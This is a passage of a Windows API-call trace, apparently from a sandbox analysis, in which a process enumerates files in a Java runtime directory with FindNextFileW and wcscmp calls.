ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0049.002] wcscmp (_String1="dt_socket.dll", _String2=".") returned 1 [0049.002] wcscmp (_String1="dt_socket.dll", _String2="..") returned 1 [0049.002] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0049.002] wcscmp (_String1="eula.dll", _String2=".") returned 1 [0049.002] wcscmp (_String1="eula.dll", _String2="..") returned 1 [0049.002] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0049.002] wcscmp (_String1="fontmanager.dll", _String2=".") returned 1 [0049.002] wcscmp (_String1="fontmanager.dll", _String2="..") returned 1 [0049.002] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x263a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0049.002] wcscmp (_String1="fxplugins.dll", _String2=".") returned 1 [0049.002] wcscmp (_String1="fxplugins.dll", _String2="..") returned 1 [0049.002] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0049.002] wcscmp (_String1="glass.dll", _String2=".") returned 1 [0049.002] wcscmp (_String1="glass.dll", _String2="..") returned 1 [0049.002] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0049.002] wcscmp (_String1="glib-lite.dll", _String2=".") returned 1 [0049.002] wcscmp (_String1="glib-lite.dll", _String2="..") returned 1 [0049.002] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0049.002] wcscmp (_String1="gstreamer-lite.dll", _String2=".") returned 1 [0049.002] wcscmp (_String1="gstreamer-lite.dll", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x205a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0049.003] wcscmp (_String1="hprof.dll", _String2=".") returned 1 [0049.003] wcscmp (_String1="hprof.dll", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x32ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installer.dll", cAlternateFileName="INSTAL~1.DLL")) returned 1 [0049.003] wcscmp (_String1="installer.dll", _String2=".") returned 1 [0049.003] wcscmp (_String1="installer.dll", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0049.003] wcscmp (_String1="instrument.dll", _String2=".") returned 1 [0049.003] wcscmp (_String1="instrument.dll", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0049.003] wcscmp (_String1="j2pcsc.dll", _String2=".") returned 1 [0049.003] wcscmp (_String1="j2pcsc.dll", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0049.003] wcscmp (_String1="j2pkcs11.dll", _String2=".") returned 1 [0049.003] wcscmp (_String1="j2pkcs11.dll", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0049.003] wcscmp (_String1="jaas_nt.dll", _String2=".") returned 1 [0049.003] wcscmp (_String1="jaas_nt.dll", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0049.003] wcscmp (_String1="jabswitch.exe", _String2=".") returned 1 [0049.003] wcscmp (_String1="jabswitch.exe", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0049.003] wcscmp (_String1="java-rmi.exe", _String2=".") returned 1 [0049.003] wcscmp (_String1="java-rmi.exe", _String2="..") returned 1 [0049.003] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0049.003] wcscmp (_String1="java.dll", _String2=".") returned 1 [0049.003] wcscmp (_String1="java.dll", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0049.004] wcscmp (_String1="java.exe", _String2=".") returned 1 [0049.004] wcscmp (_String1="java.exe", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-32.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0049.004] wcscmp (_String1="JavaAccessBridge-32.dll", _String2=".") returned 1 [0049.004] wcscmp (_String1="JavaAccessBridge-32.dll", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0049.004] wcscmp (_String1="javacpl.exe", _String2=".") returned 1 [0049.004] wcscmp (_String1="javacpl.exe", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0049.004] wcscmp (_String1="javafx-font.dll", _String2=".") returned 1 [0049.004] wcscmp (_String1="javafx-font.dll", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-iio.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0049.004] wcscmp (_String1="javafx-iio.dll", _String2=".") returned 1 [0049.004] wcscmp (_String1="javafx-iio.dll", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2aba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0049.004] wcscmp (_String1="javaw.exe", _String2=".") returned 1 [0049.004] wcscmp (_String1="javaw.exe", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x409a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0049.004] wcscmp (_String1="javaws.exe", _String2=".") returned 1 [0049.004] wcscmp (_String1="javaws.exe", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0049.004] wcscmp (_String1="java_crw_demo.dll", _String2=".") returned 1 [0049.004] wcscmp (_String1="java_crw_demo.dll", _String2="..") returned 1 [0049.004] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0049.004] wcscmp (_String1="jawt.dll", _String2=".") returned 1 [0049.004] wcscmp (_String1="jawt.dll", _String2="..") returned 1 [0049.005] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-32.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0049.008] wcscmp (_String1="JAWTAccessBridge-32.dll", _String2=".") returned 1 [0049.008] wcscmp (_String1="JAWTAccessBridge-32.dll", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JdbcOdbc.dll", cAlternateFileName="")) returned 1 [0049.008] wcscmp (_String1="JdbcOdbc.dll", _String2=".") returned 1 [0049.008] wcscmp (_String1="JdbcOdbc.dll", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x283a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0049.008] wcscmp (_String1="jdwp.dll", _String2=".") returned 1 [0049.008] wcscmp (_String1="jdwp.dll", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0049.008] wcscmp (_String1="jfr.dll", _String2=".") returned 1 [0049.008] wcscmp (_String1="jfr.dll", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1afa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0049.008] wcscmp (_String1="jfxmedia.dll", _String2=".") returned 1 [0049.008] wcscmp (_String1="jfxmedia.dll", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb579a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0049.008] wcscmp (_String1="jfxwebkit.dll", _String2=".") returned 1 [0049.008] wcscmp (_String1="jfxwebkit.dll", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0049.008] wcscmp (_String1="jli.dll", _String2=".") returned 1 [0049.008] wcscmp (_String1="jli.dll", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x313a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0049.008] wcscmp (_String1="jp2iexp.dll", _String2=".") returned 1 [0049.008] wcscmp (_String1="jp2iexp.dll", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0049.008] wcscmp (_String1="jp2launcher.exe", _String2=".") returned 1 [0049.008] wcscmp (_String1="jp2launcher.exe", _String2="..") returned 1 [0049.008] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0049.008] wcscmp (_String1="jp2native.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jp2native.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jp2ssv.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jp2ssv.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x239a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jpeg.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jpeg.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x16da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpicom.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp (_String1="jpicom.dll", _String2=".") returned 1 [0049.009] wcscmp (_String1="jpicom.dll", _String2="..") returned 1 [0049.009] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x261a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpiexp.dll", cAlternateFileName="")) returned 1 [0049.009] wcscmp 